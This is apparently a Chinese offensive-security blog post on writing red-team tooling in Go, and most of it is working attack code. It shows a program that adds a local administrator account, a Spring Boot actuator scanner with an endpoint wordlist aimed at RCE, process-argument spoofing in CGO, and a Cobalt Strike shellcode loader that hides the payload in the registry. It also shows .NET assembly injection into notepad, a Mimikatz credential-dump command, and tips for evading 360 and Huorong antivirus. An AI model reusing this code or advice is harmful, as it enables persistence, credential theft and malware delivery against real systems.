Golang安全开发闲谈

简介

主要是给师傅们,介绍一下Golang的一些用法和小技巧.

windows api 使用

首先我们介绍用Go语言去添加用户.
这里可以给大家介绍一个小技巧,因为Go和C的语法是比较相似的,所以可以去对比C的写法来写Go的.
go安全开发笔记一 - 图1

要注意的是C语言在底层这里很多都定义好了,但Go并没有定义好,所以我们要重写

  1. USER_INFO_1 ui;
  2. //这个因为已经在C中定义好了
  3. //我们可以Ctrl+单击进入看看这一个结构体

go安全开发笔记一 - 图2

为了让Go减少体积,这里便不去调用第三方库了,下面对一些结构体和类型进行相对应的重写

  1. type (
  2. DWORD uint32
  3. LPWSTR uintptr
  4. )
  5. type USER_INFO_1 struct {
  6. usri1_name LPWSTR
  7. usri_password LPWSTR
  8. usri1_password_age DWORD
  9. usri1_priv DWORD
  10. usri1_home_dir LPWSTR
  11. usri1_comment LPWSTR
  12. usri1_flags DWORD
  13. usri1_script_path LPWSTR
  14. }

因为添加管理员用户涉及了Golang api的字符串形式,这里我们可利用syscall.UTF16PtrFromString进行转换。

  1. user.usri1_name = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("test57")))
  2. user.usri_password = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("P@sss!111")))

当然我们也可以看到C语言版中有USER_PRIV_USER字样,点进去看是被定义为1的
然后我们就可以模仿写出

  1. const (
  2. USER_PRIV_USER = 1
  3. UF_SCRIPT = 0x0001
  4. NERR_Success = 0
  5. )

当我们这些结构体和变量都处理好的时候,我们便可以调用DLL里面的API进入操作了
最终可以不受环境影响32位Go程序是600kb左右
这个功能目前也集中在免杀平台里面.

  1. //author:YanMu
  2. package main
  3. import (
  4. "syscall"
  5. "unsafe"
  6. )
  7. type (
  8. DWORD uint32
  9. LPWSTR uintptr
  10. )
  11. const (
  12. USER_PRIV_USER = 1
  13. UF_SCRIPT = 0x0001
  14. NERR_Success = 0
  15. )
  16. type USER_INFO_1 struct {
  17. usri1_name LPWSTR
  18. usri_password LPWSTR
  19. usri1_password_age DWORD
  20. usri1_priv DWORD
  21. usri1_home_dir LPWSTR
  22. usri1_comment LPWSTR
  23. usri1_flags DWORD
  24. usri1_script_path LPWSTR
  25. }
  26. type _LOCALGROUP_USERS_INFO_0 struct {
  27. lgrui0_name LPWSTR
  28. }
  29. var (
  30. Netapi32, _ = syscall.LoadLibrary("Netapi32.dll")
  31. NetUserAdd, _ = syscall.GetProcAddress(syscall.Handle(Netapi32), "NetUserAdd")
  32. NetLocalGroupAddMembers, _ = syscall.GetProcAddress(syscall.Handle(Netapi32), "NetLocalGroupAddMembers")
  33. dwError DWORD = 0
  34. user USER_INFO_1 = USER_INFO_1{}
  35. account _LOCALGROUP_USERS_INFO_0 = _LOCALGROUP_USERS_INFO_0{}
  36. )
  37. func add_user_To_the_admin_group() {
  38. user.usri1_name = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("test57")))
  39. user.usri_password = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("P@sss!111")))
  40. user.usri1_priv = USER_PRIV_USER
  41. user.usri1_flags = UF_SCRIPT
  42. if a, _, _ := syscall.Syscall6(NetUserAdd, 4, 0, 1, uintptr(unsafe.Pointer(&user)), uintptr(dwError), 0, 0); a == 0 {
  43. println("添加用户成功!")
  44. } else {
  45. println("添加用户失败")
  46. }
  47. account.lgrui0_name = user.usri1_name
  48. var admin_group LPWSTR
  49. admin_group = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("Administrators")))
  50. if d, _, _ := syscall.Syscall6(NetLocalGroupAddMembers, 5, 0, uintptr(admin_group), 3, uintptr(unsafe.Pointer(&account)), 1, 0); d == NERR_Success {
  51. println("添加用户到管理员组成功!")
  52. } else {
  53. println("添加用户到管理员组失败")
  54. }
  55. defer func() {
  56. syscall.FreeLibrary(Netapi32)
  57. }()
  58. }
  59. func main() {
  60. add_user_To_the_admin_group()
  61. }

当然可能这种调用这种API,没有威胁性,我测试的是windows def和卡巴斯基都可以添加上,也包括360,但看到Tools上说到C的不免杀了

[]最新版360已经拦截netapi加用户了。 - T00ls.Net,

就写出了Go版本的,毕竟如果杀软拦截CS特征,但还能登上3389还挺香的.

Spring渗透线程小工具

在实际操作的时候,我们都会根据需求来写一些满足自己的小工具

这里以比较火的Spring boot为例

  1. //author:YanMu
  2. package main
  3. /*
  4. LQ
  5. */
  6. import (
  7. "bufio"
  8. "crypto/tls"
  9. "flag"
  10. "fmt"
  11. "io/ioutil"
  12. "net/http"
  13. "os"
  14. "strconv"
  15. "strings"
  16. "sync"
  17. "time"
  18. )
  19. var (
  20. numberTasks []string
  21. the_returned_result_is_200 []string
  22. list_of_errors []string
  23. t = &http.Transport{
  24. TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
  25. }
  26. opt = option()
  27. )
  28. type FLAG_TO_CHOOSE struct {
  29. src_file string
  30. des_file string
  31. routineCountTotal int
  32. urls string
  33. }
  34. func option() *FLAG_TO_CHOOSE {
  35. src_file := flag.String("s", "spring.txt", "字典文件")
  36. urls := flag.String("u", "", "目标url")
  37. des_file := flag.String("d", "result.txt", "结果文件")
  38. routineCountTotal := flag.Int("t", 40, "线程数量{默认为40}")
  39. flag.Parse()
  40. return &FLAG_TO_CHOOSE{src_file: *src_file, urls: *urls, des_file: *des_file, routineCountTotal: *routineCountTotal}
  41. }
  42. func title() {
  43. fmt.Println(`
  44. ▄████ ▒█████
  45. ██▒ ▀█▒▒██▒ ██▒
  46. ▒██░▄▄▄░▒██░ ██▒
  47. ░▓█ ██▓▒██ ██░
  48. ░▒▓███▀▒░ ████▓▒░
  49. ░▒ ▒ ░ ▒░▒░▒░
  50. ░ ░ ░ ▒ ▒░
  51. ░ ░ ░ ░ ░ ░ ▒
  52. ░ ░ ░
  53. `)
  54. }
  55. func main() {
  56. title()
  57. file, err := os.Open(opt.src_file)
  58. if err != nil {
  59. fmt.Println("打开文件时候出错")
  60. }
  61. defer func() {
  62. file.Close()
  63. }()
  64. n := bufio.NewScanner(file)
  65. for n.Scan() {
  66. data := n.Text()
  67. numberTasks = append(numberTasks, data)
  68. }
  69. client = &http.Client{
  70. Transport: t,
  71. Timeout: 20 * time.Second,
  72. }
  73. beg := time.Now()
  74. wg := &sync.WaitGroup{}
  75. tasks := make(chan string)
  76. results := make(chan string)
  77. go func() {
  78. for result := range results {
  79. if result == "" {
  80. close(results)
  81. } else if strings.Contains(result, "200") || strings.Contains(result, "端点") {
  82. fmt.Println(result)
  83. the_returned_result_is_200 = append(the_returned_result_is_200, result)
  84. } else if strings.Contains(result, "500") {
  85. if strings.Contains(result, "article") {
  86. fmt.Println(result)
  87. the_returned_result_is_200 = append(the_returned_result_is_200, result)
  88. }
  89. } else {
  90. list_of_errors = append(list_of_errors, result)
  91. }
  92. }
  93. }()
  94. for i := 0; i < opt.routineCountTotal; i++ {
  95. wg.Add(1)
  96. go worker(wg, tasks, results)
  97. }
  98. for _, task := range numberTasks {
  99. tasks <- task
  100. }
  101. tasks <- ""
  102. wg.Wait()
  103. results <- ""
  104. fmt.Println("\033[33m+++++++++++++++++++请求成功的++++++++++++++++++++++")
  105. file_1, err := os.OpenFile(opt.des_file, os.O_WRONLY|os.O_CREATE, 0666)
  106. if err != nil {
  107. fmt.Println("文件打开失败", err)
  108. }
  109. defer file_1.Close()
  110. write_1 := bufio.NewWriter(file_1)
  111. for _, v := range the_returned_result_is_200 {
  112. fmt.Println(v)
  113. write_1.WriteString(v + "\n")
  114. }
  115. write_1.Flush()
  116. fmt.Println("发生了", len(list_of_errors), "个失败")
  117. fmt.Printf("time consumed: %fs\n", time.Now().Sub(beg).Seconds())
  118. fmt.Println("具体接口用法请参考:https://github.com/LandGrey/SpringBootVulExploit")
  119. fmt.Println("小提醒:ctrl+单击会打开链接\033[0m")
  120. }
  121. func worker(group *sync.WaitGroup, tasks chan string, result chan string) {
  122. for task := range tasks {
  123. if task == "" {
  124. close(tasks)
  125. } else {
  126. respBody, err := NumberQueryRequest(task)
  127. if err != nil {
  128. fmt.Printf("error occurred in NumberQueryRequest: %s\n", task)
  129. result <- err.Error()
  130. } else {
  131. result <- respBody
  132. }
  133. }
  134. }
  135. group.Done()
  136. }
  137. var client *http.Client
  138. func NumberQueryRequest(keyword string) (body string, err error) {
  139. opt.urls = strings.TrimRight(opt.urls, "/")
  140. url := fmt.Sprintf("%s%s", opt.urls, keyword)
  141. fmt.Println(url)
  142. req, err := http.NewRequest("GET", url, nil)
  143. if err != nil {
  144. return "构造请求出错", err
  145. }
  146. req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36")
  147. resp, err := client.Get(url)
  148. if err != nil {
  149. return "发送请求出错", err
  150. }
  151. return_value := resp.StatusCode
  152. if resp != nil && resp.Body != nil {
  153. defer resp.Body.Close()
  154. }
  155. if strings.Contains(keyword, "/env") {
  156. body22, _ := ioutil.ReadAll(resp.Body)
  157. if strings.Contains(string(body22), "spring.cloud.bootstrap.location") {
  158. body = "url: " + url + " || " + "目标站点开启了 env 端点且spring.cloud.bootstrap.location属性开启,可进行环境属性覆盖RCE测试"
  159. return body, nil
  160. } else if strings.Contains(string(body22), "eureka.client.serviceUrl.defaultZone") {
  161. body = "url: " + url + " || " + "目标站点开启了 env 端点且eureka.client.serviceUrl.defaultZone属性开启,可进行XStream反序列化RCE测试"
  162. return body, nil
  163. }
  164. } else if strings.Contains(keyword, "/jolokia/list") {
  165. body33, _ := ioutil.ReadAll(resp.Body)
  166. if strings.Contains(string(body33), "reloadByURL") {
  167. body = "url: " + url + " || " + "目标站点开启了 jolokia 端点且存在reloadByURL方法,可进行XXE/RCE测试"
  168. return body, nil
  169. } else if strings.Contains(string(body33), "createJNDIRealm") {
  170. body = "url: " + url + " || " + "目标站点开启了 jolokia 端点且存在createJNDIRealm方法,可进行JNDI注入RCE测试"
  171. return body, nil
  172. }
  173. }
  174. body = "url:" + url + " || " + "返回值:" + strconv.Itoa(return_value)
  175. return body, nil
  176. }

当然要给师傅们写上Spring boot的字典

  1. /v2/api-docs
  2. /swagger-ui.html
  3. /swagger
  4. /api-docs
  5. /api.html
  6. /swagger-ui
  7. /swagger/codes
  8. /api/index.html
  9. /api/v2/api-docs
  10. /v2/swagger.json
  11. /swagger-ui/html
  12. /distv2/index.html
  13. /swagger/index.html
  14. /sw/swagger-ui.html
  15. /api/swagger-ui.html
  16. /static/swagger.json
  17. /user/swagger-ui.html
  18. /swagger-ui/index.html
  19. /swagger-dubbo/api-docs
  20. /template/swagger-ui.html
  21. /swagger/static/index.html
  22. /dubbo-provider/distv2/index.html
  23. /spring-security-rest/api/swagger-ui.html
  24. /spring-security-oauth-resource/swagger-ui.html
  25. /mappings
  26. /metrics
  27. /jolokia/list
  28. /beans
  29. /configprops
  30. /actuator/metrics
  31. /actuator/mappings
  32. /actuator/beans
  33. /actuator/configprops
  34. /actuator
  35. /auditevents
  36. /autoconfig
  37. /beans
  38. /caches
  39. /conditions
  40. /configprops
  41. /docs
  42. /dump
  43. /env
  44. /flyway
  45. /health
  46. /heapdump
  47. /httptrace
  48. /info
  49. /intergrationgraph
  50. /jolokia
  51. /logfile
  52. /loggers
  53. /liquibase
  54. /metrics
  55. /mappings
  56. /prometheus
  57. /refresh
  58. /scheduledtasks
  59. /sessions
  60. /shutdown
  61. /trace
  62. /threaddump
  63. /actuator/auditevents
  64. /actuator/beans
  65. /actuator/health
  66. /actuator/conditions
  67. /actuator/configprops
  68. /actuator/env
  69. /actuator/info
  70. /actuator/loggers
  71. /actuator/heapdump
  72. /actuator/threaddump
  73. /actuator/metrics
  74. /actuator/scheduledtasks
  75. /actuator/httptrace
  76. /actuator/mappings
  77. /actuator/jolokia
  78. /actuator/hystrix.stream
  79. /env
  80. /actuator/env
  81. /refresh
  82. /actuator/refresh
  83. /restart
  84. /actuator/restart
  85. /jolokia
  86. /actuator/jolokia
  87. /trace
  88. /actuator/httptrace
  89. /article?id=${7*7}
  90. /article?id=66
  91. /h2-console

go安全开发笔记一 - 图3

go安全开发笔记一 - 图4

小工具用了多线程,所以速度上会有一点舒适度的.主要介绍一下编写的注意事项.

因为我们渗透测试的的工具一般就是发包功能,不联网咋黑[doge],所以我们会学习”net/http”包的使用.

对于我来说,可以理解以下三步骤.

  1. //构造客户端
  2. var client *http.Client
  3. //构成请求包
  4. req, err := http.NewRequest("GET", url, nil)
  5. if err != nil {
  6. return "构造请求出错", err
  7. }
  8. req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36")
  9. //客户端发送请求
  10. resp, err := client.Get(url)
  11. if err != nil {
  12. return "发送请求出错", err
  13. }

通过设置TLSClientConfig,取消对HTTPS的证书验证,因为我们在平时,还是很多网站会遇到这个证书问题的

  1. TLSClientConfig: &tls.Config{InsecureSkipVerify: true}

“flag”包一般就是帮我们去完成一些交互式命令的

  1. type FLAG_TO_CHOOSE struct {
  2. src_file string
  3. des_file string
  4. routineCountTotal int
  5. urls string
  6. }
  7. func option() *FLAG_TO_CHOOSE {
  8. src_file := flag.String("s", "spring.txt", "字典文件")
  9. urls := flag.String("u", "", "目标url")
  10. des_file := flag.String("d", "result.txt", "结果文件")
  11. routineCountTotal := flag.Int("t", 40, "线程数量{默认为40}")
  12. flag.Parse()
  13. return &FLAG_TO_CHOOSE{src_file: *src_file, urls: *urls, des_file: *des_file, routineCountTotal: *routineCountTotal}
  14. }

然后就是多线程去分配任务,routineCountTotal是我们的线程数

  1. go func() {
  2. for result := range results{
  3. if result == ""{
  4. close(results)
  5. }else{
  6. fmt.Println("result:", result)
  7. }
  8. }
  9. }()
  10. //接受响应并处理的匿名函数
  11. for _, task := range numberTasks{
  12. tasks <- task
  13. }
  14. //分发我们的字典任务

当然这个工具还有很多要改善的地方,最明显的一点,比较Low.🤔

logo的话,就可以用一些字符画生成网站来解决这个问题
字符画生成

https://github.com/YanMu2020/SpringScan,这是编译好的工具

小总结:多线程是Go的核心,还是需要多加学习.

ScareCrow数字签名

这个工具比较火,最近作者也是作为一次议题带到了国外的安全大会上,虽然现在查杀比较严重,因为免杀是一个见光死的技术,

但不妨碍我们学习源码去二开或者带到自己的程序当中.

平时我们常用的工具为sigthief来进行证书伪造,从而得到免杀效果.但ScareCrow也算是有自己一套

go安全开发笔记一 - 图5

在ScareCrow中,自签名的功能位于limelighter/limelighter.go中

签名功能主函数是Signer,调用了自写的VarNumberLength,GenerateCert,GeneratePFK,SignExecutable函数

其参数是需要提供的交互式参数,所以这个功能我们可以直接分离作为一个程序,作为exe免杀辅助工具,或者自己写的框架的功能

go安全开发笔记一 - 图6

go安全开发笔记一 - 图7

这个文件主要是程序添加证书和程序信息的.

可以看到ScareCrow是调用osslsigncode来达到签名效果,不过提供osslsigncode需要的pkcs12file达到一步化.

go安全开发笔记一 - 图8

Go版本的地狱门

当我们遇到高版本windows2016服务器的时候,会自带windows defender,一般我们可以通过调用地狱门(windows原生调用syscall)的方法来绕过.

C版本:https://github.com/am0nsec/HellsGate/

Go版本:https://github.com/C-Sto/BananaPhone

Go版本缺陷是作者仅研究了asm_x64.s ,所以编译为32位会报错,不过一般高版本服务器以64位为主.低版本可以尝试调用API来绕过.

Go版本的地狱门,作者写出了第三方包的形式,这也为我们扩展打下基础.

argue欺骗

在CS3.13中,引入了argue参数,这是一种进程参数欺骗的技术,在进程启动的时候,使用一些干扰参数,使其记录的参数和实际运行的参数不同

创建了一个挂起的终端进程,通过NtQueryInformationProcess API获取进程块的peb的地址,利用readProcessMemory API来获取进程块的内存副本,然后读取修改RTL_USER_PROCESS_PARAMETERS结构体中commandline的字段,替换为正常的命令行参数

其实很多时候,用Go写一些API不能太深入,还是那句话因为很多底层东西C定好了,Go没有定义好,所以需要重写.最简单不重写那些底层的方法,是直接套用C代码就可.

这时候可以用到CGO了,CGO可以让Go去更好的调用C函数

  1. //author:YanMu
  2. package main
  3. /*
  4. #include <stdio.h>
  5. int fyu() {
  6. return 0;
  7. }
  8. */
  9. import "C"
  10. func main() {
  11. var a C.int
  12. a = C.fyu()
  13. println(a)
  14. }

go安全开发笔记一 - 图9

  1. package main
  2. /*
  3. #include <stddef.h>
  4. #include <stdbool.h>
  5. #include <windows.h>
  6. #include <winternl.h>
  7. #include <stdio.h>
  8. typedef NTSTATUS(*NtQueryInformationProcess2)(IN HANDLE, IN PROCESSINFOCLASS,
  9. OUT PVOID, IN ULONG, OUT PULONG);
  10. void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
  11. SIZE_T bytesRead;
  12. char* alloc;
  13. alloc = (char*)malloc(bytes);
  14. if (alloc == NULL) {
  15. return NULL;
  16. }
  17. if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
  18. free(alloc);
  19. return NULL;
  20. }
  21. return alloc;
  22. }
  23. BOOL writeProcessMemory(HANDLE process, void* address, void* data,
  24. DWORD bytes) {
  25. SIZE_T bytesWritten;
  26. if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
  27. return false;
  28. }
  29. return true;
  30. }
  31. int wmain() {
  32. int argc =3;
  33. char *argv[3];
  34. argv[1] = "powershell";
  35. argv[2] = "################################################";
  36. STARTUPINFOA si = { 0 };
  37. PROCESS_INFORMATION pi = { 0 };
  38. PROCESS_BASIC_INFORMATION pbi;
  39. DWORD retLen;
  40. SIZE_T bytesRead;
  41. PEB pebLocal;
  42. RTL_USER_PROCESS_PARAMETERS* parameters;
  43. char* aaa = (char*)"cmd";
  44. char* bbb = (char*)"cmd.exe";
  45. int padding_size = 0;
  46. int memsize = 0;
  47. for (int i = 1; i < argc; i++) {
  48. padding_size += strlen(argv[i]);
  49. }
  50. memsize = (padding_size + 5) + (strlen(argv[1]) + 1) + 1;
  51. char* addr = (char*)malloc(memsize);
  52. addr[memsize - 1] = 0;
  53. memset(addr, 'x', memsize - 1);
  54. if (strcmp(argv[1], aaa) == 0 || strcmp(argv[1], bbb) == 0)
  55. {
  56. strcpy(addr, argv[1]);
  57. }
  58. else {
  59. strcpy(addr, argv[1]);
  60. }
  61. memset(addr + strlen(argv[1]), ' ', 1);
  62. int command_size = 4;
  63. for (int i = 1; i < argc; i++) {
  64. command_size += strlen(argv[i]) + 1;
  65. }
  66. char* command = (char*)malloc(command_size);
  67. memset(command, 0, command_size);
  68. char* next_addr = command;
  69. if (strcmp(argv[2], "/c") != 0 && (strcmp(argv[1], aaa) == 0 || strcmp(argv[1], bbb) == 0))
  70. {
  71. strcpy(command, argv[1]);
  72. strcpy(command + strlen(argv[1]), " /c ");
  73. next_addr += strlen(argv[1]) + 4;
  74. }
  75. else {
  76. strcpy(command, argv[1]);
  77. next_addr += strlen(argv[1]);
  78. memset(next_addr, ' ', 1);
  79. next_addr += 1;
  80. }
  81. for (int i = 2; i < argc; i++) {
  82. strcpy(next_addr, argv[i]);
  83. next_addr += strlen(argv[i]);
  84. memset(next_addr, ' ', 1);
  85. next_addr += 1;
  86. }
  87. memset(next_addr - 1, 0, 1);
  88. printf("padding: %s\ncommand: %s\n", addr, command);
  89. char* str = command;
  90. char* test = addr;
  91. int size = mbstowcs(0, str, 0) + 1;
  92. wchar_t* wstr = (wchar_t*)malloc(size * sizeof(wchar_t));
  93. mbstowcs(wstr, str, size);
  94. CreateProcessA(NULL,
  95. (LPSTR)test,
  96. NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL,
  97. "C:\\Windows\\System32\\", &si, &pi);
  98. NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(
  99. LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
  100. ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
  101. ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB),
  102. &bytesRead);
  103. parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
  104. pi.hProcess, pebLocal.ProcessParameters,
  105. sizeof(RTL_USER_PROCESS_PARAMETERS) + 300);
  106. writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer,
  107. (void*)wstr, size * sizeof(wchar_t));
  108. DWORD newUnicodeLen = 28;
  109. writeProcessMemory(
  110. pi.hProcess,
  111. (char*)pebLocal.ProcessParameters +
  112. offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
  113. (void*)&newUnicodeLen, 4);
  114. ResumeThread(pi.hThread);
  115. }
  116. */
  117. import "C"
  118. func main() {
  119. C.wmain()
  120. }

这个方法主要可以用到,你在写Go的C2,或者一些C工具的免杀,体积的话也会很小.可以理解为变相的混洗加壳.当然argue的C版本是免杀的

注意在import “C”的时候前面的注释,就是你的C代码,而且这个特殊的注释不能和import “C”有空格

使用C包的时候,还要安装GCC编译器.并且Go支持内嵌纯C代码,如果你直接内嵌了CPP的代码可能会报错.因为C至今为止还没有一个二进制接口规范(ABI),但有时候我们可以增加一组C语言函数接口作为C类和CGO之间的桥梁.

go安全开发笔记一 - 图10

Go语言高级编程

cobalt strike免杀加载器

大家一直在说Go木马有点大,但Go木马确实可以到达600kb到700kb,适合钓鱼.

目前加载器对于我而言,加解密是次要的,更应该是寻找新的Windows API找到新的套路上线.

简单聊聊火绒和360,360在实战中比较多,所以HW实际一点,能过360上线就差不多,火绒的查杀能力,我测试中,多以特征码为主,比如你的shellcode就是一个,可以自己xor一下,如果是ps1这些脚本的话,可能某个语句就是特征码,删除了弄个别名,IEX混洗执行,360规则在我眼中是比较迷的,处于一种你可能过了,但一会就给干掉那种.而且实战中360会敏感.

比如mimikatz换字符换图标,测试是1分钟给你干掉,而且实战中,在webshell上,一句话读取密码是实用的,但是如果你裸着一句话读取出来

  1. powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'

是直接给你拦截的,特征很明显privilege::debug,sekurlsa::logonPasswords

当你测试cmd下免杀语句,也会出现拦着拦着给你不拦截了

还有一点,360火绒会拦截webshell起powershell进程,所以有时候免杀的powershell语句能在cmd上线,但在webshell不能上线

在这里其实可以考虑用到Csharp的using System.Management.Automation

再加上实战环境限制不一样,可能会处于你可能是过了,但实战中用不了的花瓶模式.只能看看在本地上线.

go安全开发笔记一 - 图11

最后还要注意Go版本问题,因为在实战中2008很多,如果你使用Go编译高版本是不支持这些版本运行的,最后一个支持windows低版本运行syscall这些的编译器是Go 1.10.8.

Go高版本编译器编译的Frp是可以在2008运行的.

自制的免杀平台也是这个版本的编译器,经过测试windows高版本和低版本都可以上线了.

写到这里的时候,小刚师傅又在公众号发表新的API用法.

这里免杀加载器我用CGO去实现.

  1. //author:YanMu
  2. package main
  3. import (
  4. "encoding/hex"
  5. "syscall"
  6. "unsafe"
  7. )
  8. /*
  9. #include "windows.h"
  10. void wsmain(){
  11. LPBYTE ptr;
  12. DWORD data_len;
  13. ptr=VirtualAlloc(0,800,0x3000,PAGE_EXECUTE_READWRITE);
  14. RegQueryValueExA(HKEY_CURRENT_USER,"t",0,0,0,&data_len);
  15. RegQueryValueExA(HKEY_CURRENT_USER,"t",0,0,ptr,&data_len);
  16. RegDeleteValueA(HKEY_CURRENT_USER,"t");
  17. EnumUILanguages((UILANGUAGE_ENUMPROC)ptr,0,0);
  18. return;
  19. }
  20. */
  21. import "C"
  22. var (
  23. Advapi32, _ = syscall.LoadLibrary("Advapi32.dll")
  24. RegSetValueExA, _ = syscall.GetProcAddress(Advapi32, "RegSetValueExA")
  25. )
  26. func regdit() {
  27. defer syscall.FreeLibrary(Advapi32)
  28. shellcode, _ := hex.DecodeString("fc4883e4f0e8.............your shellcode...........")
  29. println(shellcode)
  30. tests := unsafe.Pointer(syscall.StringToUTF16Ptr("t"))
  31. output, _, _ := syscall.Syscall6(RegSetValueExA, 6, 0x80000001, uintptr(tests), 0, 3, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  32. println(output)
  33. C.wsmain()
  34. }
  35. func main() {
  36. regdit()
  37. }

Go通过RegSetValueExA在注册表写入shellcode

简要介绍这几个API用法

RegSetValueExA:

向HKEY_CURRENT_USER(对应0x80000001)新建一个类型为REG_BINARY(对应为3)名字为t,内容是shellcode,长度是shellcode的长度

C的任务就是

VirtualAlloc分配一个(LPBYTE)内存,接受RegQueryValueExA读取的内容,然后EnumUILanguages回调函数执行.

不过这个加载器还有问题会导致它被查杀,因为shellcode就是最明显的特征码,所以加密了一下

这里因为调用了第三库,所以体积有1.2M,就当加了一个小壳.

当然Go调用API我一直喜欢用PEB隐藏的方式加载这些.不经可以隐藏一些API加载,也可以减少体积

最终效果.

go安全开发笔记一 - 图12

细心老哥可以发现我没有加-H windowsgui,因为这个参数也是一个查杀点,不过依然可以绕过.

当然免杀加载器也可以纯Go实现.但是感觉CGO可能自带一点点A.B.U特性.

再比如当时利用UUID的API:UuidToStringA,与之相似的有MAC的APIRtlEthernetStringToAddressA

老一套创建线程执行,也是一个查杀点,绕过举个例子,当时Python反序列化免杀,是顺带自动执行的.

而且一开始其实分配的内存不一定要是可读可写可执行(RWX),这个点也是比较明显的.

其实这种API加载很多,比如分配RW区域的AllocADsMem,然后写入shellcode以后再改成可读可执行

由于免杀算是一个见光死的技术,所以只能讲一些注意事项

.NET assembly 内存加载

CS3.11后也加入了这个功能(Execute-Assembly),可以让我们恶意.NET程序不落地在内存中执行,集成在C2框架中这个功能还是很香的.

通过将CLR加载到进程中,加载.NET程序集并调用静态方法,最后清理CLR——[公共语言运行时,是一套完整的、高级的虚拟机]

.NET assembly项目

Go C2项目

这里我们直接调用b4rtik师傅的dll程序,在notepad.exe中启动我们的 .NET CLR,加载这个dl就很容易实现了

  1. func ExecuteAssembly(hostingDll []byte, assembly []byte, params string, amsi bool) error {
  2. AssemblySizeArr := convertIntToByteArr(len(assembly))
  3. ParamsSizeArr := convertIntToByteArr(len(params)+1)
  4. cmd := exec.Command("notepad.exe")
  5. cmd.SysProcAttr = &syscall.SysProcAttr{
  6. HideWindow: true,
  7. }
  8. var stdoutBuf, stderrBuf bytes.Buffer
  9. cmd.Stdout = &stdoutBuf
  10. cmd.Stderr = &stderrBuf
  11. cmd.Start()
  12. pid := cmd.Process.Pid
  13. handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
  14. if err != nil {
  15. return err
  16. }
  17. hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
  18. if err != nil {
  19. return err
  20. }
  21. _, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll)))
  22. if err != nil {
  23. return err
  24. }
  25. log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr)
  26. assemblyAddr, err := virtualAllocEx(handle, 0, uint32(len(assembly)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_READWRITE)
  27. if err != nil {
  28. return err
  29. }
  30. payload := append(AssemblySizeArr, ParamsSizeArr...)
  31. if amsi {
  32. payload = append(payload, byte(1))
  33. } else {
  34. payload = append(payload, byte(0))
  35. }
  36. payload = append(payload, []byte(params)...)
  37. payload = append(payload, '\x00')
  38. payload = append(payload, assembly...)
  39. _, err = writeProcessMemory(handle, assemblyAddr, unsafe.Pointer(&payload[0]), uint32(len(payload)))
  40. if err != nil {
  41. return err
  42. }
  43. log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(payload), assemblyAddr)
  44. attr := new(syscall.SecurityAttributes)
  45. functionOffset, err := findRawFileOffset(hostingDll, EXPORTED_FUNCTION_NAME)
  46. threadHandle, _, err := createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr + uintptr(functionOffset)), uintptr(assemblyAddr), 0)
  47. if err != nil {
  48. return err
  49. }
  50. log.Println("Got thread handle:", threadHandle)
  51. for {
  52. code, err := getExitCodeThread(threadHandle)
  53. if err != nil && !strings.Contains(err.Error(), "operation completed successfully") {
  54. log.Fatalln(err.Error())
  55. }
  56. if code == STILL_RUNNING {
  57. time.Sleep(1000 * time.Millisecond)
  58. } else {
  59. break
  60. }
  61. }
  62. cmd.Process.Kill()
  63. outStr, errStr := stdoutBuf.String(), stderrBuf.String()
  64. fmt.Printf("\nout:\n%s\nerr:\n%s\n", outStr, errStr)
  65. return nil
  66. }
  1. handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
  2. //获取notepad进程句柄
  3. hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
  4. _, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll)))
  5. //分配内存,写入dll反射加载器
  6. /*
  7. 剩下就是给加载文件分配内存,找到文件的偏移量,创建一个在notepad进程地址空间中运行的线程
  8. */

go安全开发笔记一 - 图13

CS也是加载了InvokeAssembly.dll,会将 InvokeAssembly.dll和Dotnet Assembly以及参数放在一起,一次性发送到Client端,但是三者大小之和不能超过1MB,所以我们要执行Charp的体积不能超过1M

go安全开发笔记一 - 图14

dll帮我们做了很多事情,但我感觉Nim里面的更简单[doge],byt3bl33d3r师傅牛
go安全开发笔记一 - 图15

CS中还有一个类似的功能是4.1后引进的BOF:inline-execute,这个功能还能加载指定的C文件

浏览器解密

当我们钓鱼成功的时候,我们一般都解密目标机器上保存在浏览器的密码,这也是一个优秀的C2功能.

由于Csharp特性,这一方面,还是CS assembly 加载Csharp的exe比较香.

